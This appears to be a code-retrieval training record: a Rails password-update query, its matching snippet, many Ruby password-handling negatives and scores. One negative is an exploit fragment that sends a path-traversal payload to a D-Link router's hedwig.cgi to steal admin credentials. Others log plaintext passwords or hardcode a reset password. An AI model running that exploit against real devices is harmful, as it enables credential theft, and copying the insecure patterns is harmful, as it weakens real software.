"def register\n usr=params[:user]\n pass=encryptor(usr[:password])\n confPass=encryptor(usr[:password_confirmation])\n #puts(pass)\n #puts(usr[:password])\n @key_name_prefix=\"grupo_\"\n options = {\n :body =>{\n \"firstName\": usr[:firstName],\n \"lastName\": usr[:lastName],\n \"email\": usr[:email],\n \"password\": pass,\n \"password_confirmation\": confPass\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n #puts(options)\n resultsLDAP = HTTParty.post(\"http://192.168.99.104:4001/user/resources/ldapcruds\", options)\n if resultsLDAP.code == 201\n # options = {\n # :body => params.to_json,\n # :headers => {\n # 'Content-Type' => 'application/json'\n # }\n # }\n options = {\n :body =>{ \"user\":{\n \"firstName\": usr[:firstName],\n \"lastName\": usr[:lastName],\n \"email\": usr[:email],\n \"password\": pass,\n \"password_confirmation\": confPass\n }\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n #puts(options)\n results = HTTParty.post(\"http://192.168.99.101:4051/users\", options)\n if results.code == 201\n user = results.parsed_response\n aux = params[:user]\n options = {\n :body =>{ \"notification_key\": \"\",\n \"user_id\": user\n }.to_json,\n :headers => {'Content-Type'=> 'application/json'\n }\n }\n results3 = HTTParty.post(\"http://192.168.99.101:4051/group_keys\".to_s,options)\n if results3.code == 201\n head 201\n else\n render json: results3.parsed_response, status: results3.code\n end\n else\n render json: results.parsed_response, status: results.code\n end\n elsif resultsLDAP.code == 400\n render json: {\"email\": [\"has already been taken\"]}.to_json, status: 422\n else\n renderError(\"Not Avalible\", 503, \"OpenLDAP server conection failed\")\n end\n end",
"def create\n @user = User.new(params[:user])\n set_groups(@user, ids_to_groups(params[:groups]))\n @user.reset_password\n respond_to do |format|\n if @user.save\n flash[:notice] = \"User #{@user.login} created and password '#{@user.password}' sent.\"\n format.html { redirect_to(user_url(@user.id)) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n @groups = Group.all(:order => [:name.desc])\n format.html { render :new }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def password_rest\n UserMailer.password_rest\n end",
"def create\n @user = User.new(params[:user])\n @passwd = params[:user][:password]\n #@user.activ_key = @user.keygen(@user.username)\n\n respond_to do |format|\n if @user.save\n flash[:notice] = t('account.flash.create_success')\n format.html { redirect_to :controller => \"account\", :action => \"login\" }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def password\n end",
"def password\n end",
"def userRegisterPost(email, name, password, password_confirmation)\n post register_path, params: {user: {email: email, name: name,\n password: password, password_confirmation: password_confirmation}}\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def create\n logger.debug(\"AAA \" + params[:user][:password])\n\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n format.html { redirect_to(users_path, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def auth_password_healthcheck(payload)\n do_http_request(\n method: 'POST',\n url: AUTH_URL + '/healthcheck/oauth/token',\n headers: {\n 'Content-Type' => 'application/x-www-form-urlencoded',\n 'Accept' => 'application/json',\n 'X-Header' => ''\n },\n payload: payload,\n typeconsistent: true\n )\n end",
"def password_params\n params.permit(:email)\n end",
"def change_password(target_address, old_password, new_password)\n uri = URI.parse(\"#{target_address}/user/neo4j/password\")\n response = Net::HTTP.post_form(uri, 'password' => old_password, 'new_password' => new_password)\n JSON.parse(response.body)\n end",
"def test_registering_bad\r\n Patron.delete_all\r\n get 'welcome/index'\r\n assert_response :success\r\n assert_template 'index'\r\n get 'welcome/register'\r\n assert_response :success\r\n assert_template 'register'\r\n post 'welcome/register',\r\n :patron => {\r\n :username => \"test_dave\",\r\n :email => \"davd@test_dave.com\",\r\n :email_confirmation => \"david@test_dave.com\"\r\n } \r\n assert_template 'register'\r\n end",
"def secure_password_params\n params.require(:secure_password).permit(:url, :name, :notes, :password)\n end",
"def make_authentication_request_body(password)\n request_body = Nokogiri::XML(AUTHENTICATION_REQUEST_BODY)\n password_value = request_body.at_css \"value\"\n password_value.content = password\n return request_body.root.to_s # return the body without the xml header\n end",
"def make_authentication_request_body(password)\n request_body = Nokogiri::XML(AUTHENTICATION_REQUEST_BODY)\n password_value = request_body.at_css \"value\"\n password_value.content = password\n return request_body.root.to_s # return the body without the xml header\n end",
"def generate_and_send_password\n self.reload\n update_attribute :password, ('a'..'z').to_a[rand(26)].to_s + (0...5).map{ [rand(10)] }.join\n post_data = Net::HTTP.post_form URI.parse('http://3001300.ru/create_client_from_bonus.php'),\n { \n 'email' => self.email,\n 'password' => self.password\n }\n mail = InformMail.create! client: self, body: \"#{MessageText.welcome.sms.encode} #{self.password}\".encode(\"cp1251\")\n end",
"def password_params\n params.require(:password).permit(:password)\n end",
"def create\n resource = resource_class.send_reset_password_instructions(resource_params)\n\n if successfully_sent?(resource)\n render json: {\n msg: 'Вам были отправлены инструкции по восстановлению пароля'\n }\n else\n render json: {\n msg: resource.errors.full_messages.first,\n errors: resource.errors\n }, status: 403\n end\n end",
"def create\n puts 'Recovery password!!!!!!!!!!!!!!!!!!!!!!'\n self.resource = resource_class.send_reset_password_instructions(resource_params)\n\n if successfully_sent?(resource)\n render status: 200, json: nil\n else\n render status: 400, json: { message: 'Invalid email!' }\n # binding.pry\n end\n end",
"def pass(password)\n @socket << \"PASS #{password}\"\n end",
"def password\n @attributes[:password]\n end",
"def password\n @attributes[:password]\n end",
"def password\n conf['api']['password']\n end",
"def verifyPass\n pass=(encryptor(params[:password]))\n #puts(pass)\n options = {\n :body =>{\"password\": pass\n }.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4051/users/verify_pass?id=\"+ @current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def test_registering\r\n Patron.delete_all\r\n get 'welcome/index'\r\n assert_response :success\r\n assert_template 'index'\r\n get 'login/register'\r\n assert_response :success\r\n assert_template 'register'\r\n post_via_redirect 'login/register',\r\n :patron => {\r\n :username => \"test_dave\",\r\n :email => \"david@test_dave.com\",\r\n :email_confirmation => \"david@test_dave.com\"\r\n } \r\n assert_response :success\r\n post_via_redirect 'login/login',\r\n { :username => 'david',\r\n :password => 'secret '}\r\n assert_response :success\r\n end",
"def create\n super\n resource.update(password: params[:password], password_confirmation: params[:password_confirmation], member_id: SecureRandom.alphanumeric(6))\n post_gmo_with_create_member(resource)\n end",
"def create\n @password_setting = PasswordSetting.new(password_setting_params)\n\n respond_to do |format|\n if @password_setting.save\n format.html { redirect_to @password_setting, notice: 'Password setting was successfully created.' }\n format.json { render action: 'show', status: :created, location: @password_setting }\n else\n format.html { render action: 'new' }\n format.json { render json: @password_setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def password=(value)\n conf['api']['password'] = value\n end",
"def password_reset_request\n end",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def register(username, password, options = {})\n parameters = { :user => username, :passwd => password, :passwd2 => password, :email => options[:email], :captcha => options[:captcha], :iden => options[:captcha_identifier] }\n post('api/register', parameters)\n end",
"def create_username_password(**args)\n\t\t\t\t\tjson_body = {\n\t\t\t\t\t\t'' => '0',\n\t\t\t\t\t\tcredentials: args.merge(\n\t\t\t\t\t\t\t'$class' => 'com.cloudbees.plugins.credentials.impl.'\\\n\t\t\t\t\t\t\t\t'UsernamePasswordCredentialsImpl'\n\t\t\t\t\t\t)\n\t\t\t\t\t}.to_json\n\t\t\t\t\tcreate_(\"json=#{::CGI.escape json_body}\")\n\t\t\t\tend",
"def password_node\n return password unless digest?\n\n token = nonce + timestamp + password\n Base64.encode64(Digest::SHA1.hexdigest(token)).chomp!\n end",
"def password_params\n params.require(:user).permit(:password)\n end",
"def new\n self.resource = build_resource(nil, :unsafe => true)\n clean_up_passwords(resource)\n respond_with(resource, serialize_options(resource))\n end",
"def test_change_password_successful\n data = {\n current_password: \"1234567890\",\n password: \"new-password\",\n password_confirmation: \"new-password\"\n }\n\n user_id = 34\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s+'/password')\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def password=(password)\n @password = password\n end",
"def create_new_password\n pass = generate_password\n set_password(pass)\n pass\n end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def password; end",
"def adm_reenter_password_field\n $tracer.trace(__method__)\n return ToolTag.new(input.id(\"/ctl00_ctl00_ctl00_OuterTaskRegion_TaskRegion_TaskRegion_TaskRegion_password2/\"), __method__)\n end",
"def pw_admin\n @user = User.find(params[:id])\n new_password = Devise.friendly_token(50)\n user.reset_password(new_password, new_password)\n user.send_rest_password_instructions\n end",
"def set_password( password )\n resp = conn.put('/users/'+name+'/', { 'password' => password } )\n\n case resp.code.to_i\n when 204\n return\n when 404\n raise RestAuthUserNotFound.new(resp)\n when 412\n raise RestAuthPreconditionFailed.new(resp)\n else\n raise RestAuthUnknownStatus.new(resp)\n end\n end",
"def send_new_password(template)\n\n pass = create_new_password\n set_password(pass)\n save\n\n\n mailer = Mailer.new\n\n user_name = @data_object.user_acc_name\n if user_name.nil? || user_name.empty?\n user_name = contact.con_email\n end\n\n values = { \n \"user_name\" => user_name,\n \"password\" => pass\n }\n\n mailer.send_from_template(contact.con_email,\n \"Your DION Registration Information\",\n values,\n template)\n end",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def has_password?(_password)\n !(try { xml.elements['password'].text }).nil?\n end",
"def test_submit_signup\n post :submit_signup, { :create_password2 =>\"freddy\", :create_username =>\"fred\", :create_password => \"freddy1\", :create_email =>\"fred@fred.com\" }\n assert_response :bad_request\n assert_equal \"Passwords do not match\", @response.body\n assert_nil session[:user]\n\n post :submit_signup, { :create_password2 =>\"freddy\", :create_username =>\"fred\", :create_password => \"freddy\", :create_email =>\"fred@fred.com\" }\n assert_response :success\n assert_equal 'fred', session[:user][:username]\n end",
"def new\n resource = build_resource\n clean_up_passwords(resource)\n respond_with(resource, serialize_options(resource))\n end",
"def test_change_password_unsuccessful\n data = {\n current_password: \"1234567890\",\n password: \"new-password\",\n password_confirmation: \"newer-password\"\n }\n\n user_id = 34\n expected = 1001\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s+'/password')\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def reset_password\n id = params[:data]\n @user = User.find(id)\n respond_to do |format|\n if @user.update_attributes(password: \"1qazxsw2\", password_confirmation: \"1qazxsw2\")\n format.json { render json: @user }\n end\n end\n end",
"def test_change_password_blocks_with_invalid_data_on_POST_when_logged_in\n set_user\n\n patches = [ \n [ :current_password => nil], [ :current_password => 'not the password' ],\n [ :password => nil], [ :password => 'not the password' ],\n [ :password_confirmation => nil], [ :password_confirmation => 'not the password' ]\n ]\n \n patches.each do |patch|\n key, value = patch\n \n invalid_data = @valid_data.dup\n \n post :change_password, invalid_data\n \n assert_response :success\n assert_template 'change_password'\n\n user = User.find(@zeus_user.id)\n assert user.password_equals?(@valid_data[:password])\n end\n end",
"def set_password=(new_password)\n self.password = Password.create(new_password)\n self.save\n end",
"def create\n @admin = Admin.new(params[:admin])\n @admin.set_password(params[:admin][:password],params[:admin][:password_confirmation])\n respond_to do |format|\n if @admin.save\n format.html { redirect_to(@admin, :notice => 'Admin was successfully created.') }\n format.xml { render :xml => @admin, :status => :created, :location => @admin }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @admin.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def password\n first_element_text('password')\n end",
"def authenticate_connection!\n request(\n :method => :post,\n :path => 'certificates',\n :json => {\n :type => :client,\n :name => name,\n :password => password\n }\n )\n end",
"def password=(new_password); end",
"def enter_password\n end",
"def register\n @user = User.new(user_id: params[:user_id], password: params[:password])\n @user.save\n end",
"def login(email, password)\n post api_v1_user_session_path, \n headers: { 'CONTENT_TYPE' => 'application/json', 'ACCEPT' => 'application/json' },\n params: { email: email, password: password }.to_json\nend",
"def set_password; nil; end",
"def to_xml\n return \"\" unless username && password\n\n builder = Builder::XmlMarkup.new\n builder.wsse :Security, \"xmlns:wsse\" => WSENamespace do |xml|\n xml.wsse :UsernameToken, \"wsu:Id\" => wsu_id, \"xmlns:wsu\" => WSUNamespace do\n xml.wsse :Username, username\n xml.wsse :Nonce, nonce\n xml.wsu :Created, timestamp\n xml.wsse :Password, password_node, :Type => password_type\n end\n end\n end",
"def create\n @pinrequest = Pinrequest.new(params[:pinrequest])\n\n respond_to do |format|\n if @pinrequest.save\n flash[:notice] = 'Password request was successfully sent.'\n\t\t\n\t\tEmailer.deliver_pwdrequest_email(@pinrequest)\n format.html { redirect_to(@pinrequest) }\n format.xml { render :xml => @pinrequest, :status => :created, :location => @pinrequest }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pinrequest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def action_sendpass!()\n @action = TAC_PLUS_AUTHEN_SENDPASS\n end",
"def create\n @user = current_user\n @location = Location.find(params[:id])\n @user_location = UserLocation.new({ :user_id => @user.id, :location_id => @location.id, :login_name => params[:request][:login_name] })\n \n old_password = params[:request][:old_password]\n \n if @user.sync_password.blank?\n new_password = request_password\n else\n new_password = @user.sync_password\n end\n \n request = request_github(@user_location.login_name, old_password, new_password)\n \n unless request.nil?\n # TXT user\n txt_user(@user.cell_phone, request)\n \n # Save new user location\n @user_location.save!\n \n # save new password to user\n @user.update_attributes({ :sync_password => request })\n \n redirect_to root_url, :notice => \"New password TXT'd to your cell phone.\"\n else\n redirect_to root_url, :notice => 'Authentication Failed. Try again.'\n end\n end",
"def create\n @password_tier = PasswordTier.new(password_tier_params)\n\n respond_to do |format|\n if @password_tier.save\n format.html { redirect_to @password_tier, notice: 'PasswordTier was successfully created.' }\n format.json { render :show, status: :created, location: @password_tier }\n else\n format.html { render :new }\n format.json { render json: @password_tier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes p\n end",
"def POST(data=nil)\n\n if not data.nil? #if request data passed in, use it.\n @data = data\n end\n\n uri = URI(@url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n if @set_cert_file\n http = set_cert_file(http)\n end\n request = Net::HTTP::Post.new(uri.path)\n request.body = @data\n request.basic_auth(@user_name, @password)\n\n response = http.request(request)\n return response\n end",
"def create\n # binding.pry\n @user = User.new user_params\n @user.password = params[:password]\n @user.password_confirmation = params[:password_confirmation]\n if @user.save\n render :json => @user\n else\n render :json => {:errors => @user.errors}\n end\n end",
"def password \n @password \n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n p[:password_unset] = 0 \n update_attributes(p)\n end",
"def retrieve_creds\r\n begin\r\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\r\\n\"\r\n xml << \"<postxml>\\r\\n\"\r\n xml << \"<module>\\r\\n\"\r\n xml << \" <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\\r\\n\"\r\n xml << \"</module>\\r\\n\"\r\n xml << \"</postxml>\"\r\n res = send_request_cgi({\r\n 'uri' => '/hedwig.cgi',\r\n 'method' => 'POST',\r\n 'encode_params' => false,\r\n 'headers' => {\r\n 'Accept-Encoding' => 'gzip, deflate',\r\n 'Accept' => '*/*'\r\n },\r\n 'ctype' => 'text/xml',\r\n 'cookie' => \"uid=#{Rex::Text.rand_text_alpha_lower(8)}\",\r\n 'data' => xml,\r\n })\r\n if res.body =~ /<password>(.*)<\\/password>/ # fixes stack trace issue\r\n parse = res.get_xml_document\r\n username = parse.at('//name').text\r\n password = parse.at('//password').text\r\n vprint_good(\"#{peer} - Retrieved the username/password combo #{username}/#{password}\")\r\n loot = store_loot(\"dlink.dir850l.login\", \"text/plain\", rhost, res.body)\r\n print_good(\"#{peer} - Downloaded credentials to #{loot}\")\r\n return username, password\r\n else\r\n fail_with(Failure::NotFound, \"#{peer} - Credentials could not be obtained\")\r\n end\r\n rescue ::Rex::ConnectionError\r\n fail_with(Failure::Unknown, \"#{peer} - Unable to connect to target.\")\r\n end\r\n end"
] |
[
"0.6068599",
"0.60035115",
"0.59628624",
"0.59448034",
"0.5895309",
"0.58103323",
"0.5681038",
"0.56606483",
"0.5549036",
"0.5524086",
"0.55170894",
"0.5500321",
"0.5473855",
"0.54644096",
"0.54545057",
"0.5451959",
"0.5450218",
"0.54493296",
"0.5446402",
"0.54262924",
"0.53979033",
"0.5394067",
"0.53783643",
"0.53524697",
"0.534023",
"0.53257906",
"0.53219277",
"0.53219277",
"0.5319",
"0.5314552",
"0.53106195",
"0.53087837",
"0.53077745",
"0.53005",
"0.5288278",
"0.52754164",
"0.5274673",
"0.5274673",
"0.5267036",
"0.5251293",
"0.5250593",
"0.52449006",
"0.52214175",
"0.5217896",
"0.5217896",
"0.52103156",
"0.5209556",
"0.5209438",
"0.51919353",
"0.5188189",
"0.5178573",
"0.51681083",
"0.5165979",
"0.5165979",
"0.5154573",
"0.5111271",
"0.51103497",
"0.5102296",
"0.50925803",
"0.5088521",
"0.5081422",
"0.5078878",
"0.50757354",
"0.50757354",
"0.50757354",
"0.50757354",
"0.50757354",
"0.50757354",
"0.5075177",
"0.50712264",
"0.50568897",
"0.5052636",
"0.5041691",
"0.5041691",
"0.5039523",
"0.5035472",
"0.5031197",
"0.50254184",
"0.50222504",
"0.50179845",
"0.50174844",
"0.50143576",
"0.5014242",
"0.5012629",
"0.5000621",
"0.49973345",
"0.49962887",
"0.4992697",
"0.49882424",
"0.49814853",
"0.4981032",
"0.4980551",
"0.4974999",
"0.4974934",
"0.497018",
"0.49697945",
"0.49669054",
"0.4965807",
"0.49635682",
"0.49609506"
] |
0.6287117
|
0
|
PUT /passwords/1 PUT /passwords/1.xml
|
def update
@password = Password.find(params[:id])
respond_to do |format|
if @password.update_attributes(params[:password])
@p_access = PasswordAccess.new(:password_id => @password.id, :accessable_id => current_user.id, :accessed_at => DateTime.now, :action => "Updated" )
@p_access.save
flash[:notice] = 'Password was successfully updated.'
format.html { redirect_to(passwords_path) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @password.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def change_password(opts = {})\n password(opts.merge(:verb => :put))\n end",
"def change_password!(opts = {})\n password!(opts.merge(:verb => :put))\n end",
"def update_current_logged_in_users_password(args = {}) \n id = args['id']\n temp_path = \"/users.json/current/password\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update(args)\n builder.update_rest(type, ref, args, username, password)\n self.elements(true)\n end",
"def test_change_password_successful\n data = {\n current_password: \"1234567890\",\n password: \"new-password\",\n password_confirmation: \"new-password\"\n }\n\n user_id = 34\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s+'/password')\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def update_resource(object, attrs)\n object.update_with_password(*attrs)\n end",
"def test_change_password_unsuccessful\n data = {\n current_password: \"1234567890\",\n password: \"new-password\",\n password_confirmation: \"newer-password\"\n }\n\n user_id = 34\n expected = 1001\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s+'/password')\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_with_password(params, *options); end",
"def set_password( password )\n resp = conn.put('/users/'+name+'/', { 'password' => password } )\n\n case resp.code.to_i\n when 204\n return\n when 404\n raise RestAuthUserNotFound.new(resp)\n when 412\n raise RestAuthPreconditionFailed.new(resp)\n else\n raise RestAuthUnknownStatus.new(resp)\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def set_password(opts = {})\n password(opts.merge(:verb => :post))\n end",
"def update(username, password)\n key = self.find(username)\n SecKeychainItemModifyContent(key.item, nil, password.length, password)\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\r\n @secret = Secret.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @secret.update_attributes(params[:secret])\r\n format.html { redirect_to(:action => 'index') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @secret.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def set_password!(opts = {})\n password!(opts.merge(:verb => :post))\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def test_change_password\n response=@root_key_api.change_password(\"test-rb@precog.com\",\"password\",@account_id, \"xyzzy\")\n response=@root_key_api.change_password(\"test-rb@precog.com\",\"xyzzy\",@account_id, \"password\")\n end",
"def update(context, name, should)\n res = context.transport.put_request(context, \"security/users/#{name}\", keys_to_camelcase(should))\n\n context.err(name, res.body) unless res.success?\n end",
"def update_resource(resource, params)\n # abort params.inspect\n resource.update_without_password(params)\n end",
"def change_password!(password)\n json = JSON.generate(:changePassword => { :adminPass => password })\n @compute.connection.req('POST', \"/servers/#{@id}/action\", :data => json)\n @adminPass = password\n end",
"def remove_password\n @user = User.find(params[:id])\n @user.password = \"temporarily_disabled\"\n @user.save\n respond_to do |format|\n format.html { redirect_to(\"/parametres_cabinets/#{@user.parametres_cabinet_id}/edit\") }\n format.xml { head :ok }\n end\n end",
"def update_esx_passwd_file(esx_hostname,esx_username,esx_password)\n esx_passwd_file = Dir.home+\"/.esxpasswd\"\n FileUtils.touch(esx_passwd_file)\n File.chmod(0600,esx_passwd_file)\n output_text = esx_hostname+\":\"+esx_username+\":\"+esx_password\n File.open(esx_passwd_file, 'a') { |file| file.write(output_text) }\n return\nend",
"def set_password_legacy\n guid = @user['generateduid'][0].to_ruby\n password_hash_file = \"#{@@password_hash_dir}/#{guid}\"\n begin\n File.open(password_hash_file, 'w') { |f| f.write(resource[:password_sha1])}\n rescue Errno::EACCES => detail\n raise(\"Could not write to password hash file: #{detail}\")\n end\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def reset_password\n id = params[:data]\n @user = User.find(id)\n respond_to do |format|\n if @user.update_attributes(password: \"1qazxsw2\", password_confirmation: \"1qazxsw2\")\n format.json { render json: @user }\n end\n end\n end",
"def change_password\r\n \r\n end",
"def update\n # make sure user is authorized\n unless @resource\n return render json: {\n success: false,\n errors: ['Unauthorized']\n }, status: 401\n end\n\n # ensure that password params were sent\n unless password_resource_params[:password] and password_resource_params[:password_confirmation]\n return render json: {\n success: false,\n errors: ['You must fill out the fields labeled \"password\" and \"password confirmation\".']\n }, status: 422\n end\n\n if @resource.update_attributes(password_resource_params)\n return render json: {\n success: true,\n data: {\n user: @resource,\n message: \"Your password has been successfully updated.\"\n }\n }\n else\n return render json: {\n success: false,\n errors: @resource.errors\n }, status: 422\n end\n end",
"def update_password(new_password)\n updated_data = Login.load_data.each do |user|\n user['password'] = new_password if user['id'] == Login.user.uid.to_s\n end\n File.open(Login.userdata, 'w') do |f|\n f.puts JSON.pretty_generate(updated_data)\n end\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n p[:password_unset] = 0 \n update_attributes(p)\n end",
"def update_resource(resource, params)\n resource.role_id = 1\n resource.update_without_password(params)\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if (params[:student][:password] && (@student.password == params[:student][:password]) && @student.update_attributes(params[:student]))\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n else\n flash[:notice] = 'Incorrect Password. Try Again.'\n format.html { redirect_to(edit_student_path(@student)) }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def change_password\n @user = User.shod(params[:id])\n authorize! :update, @user\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def edit_password; end",
"def set_password\n @password = Password.find(params[:id])\n end",
"def update\n @usuario = Usuario.find(params[:id])\n @usuario.senha = Digest::SHA1.to_s(@usuario.senha)\n\n respond_to do |format|\n if @usuario.update_attributes(params[:usuario])\n format.html { redirect_to(consultar_usuario_path(@usuario), :notice => 'O usuário foi editado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"editar\" }\n format.xml { render :xml => @usuario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_password username, password, new_password, account: Conjur.configuration.account\n if Conjur.log\n Conjur.log << \"Updating password for #{username} in account #{account}\\n\"\n end\n url_for(:authn_update_password, account, username, password).put new_password\n end",
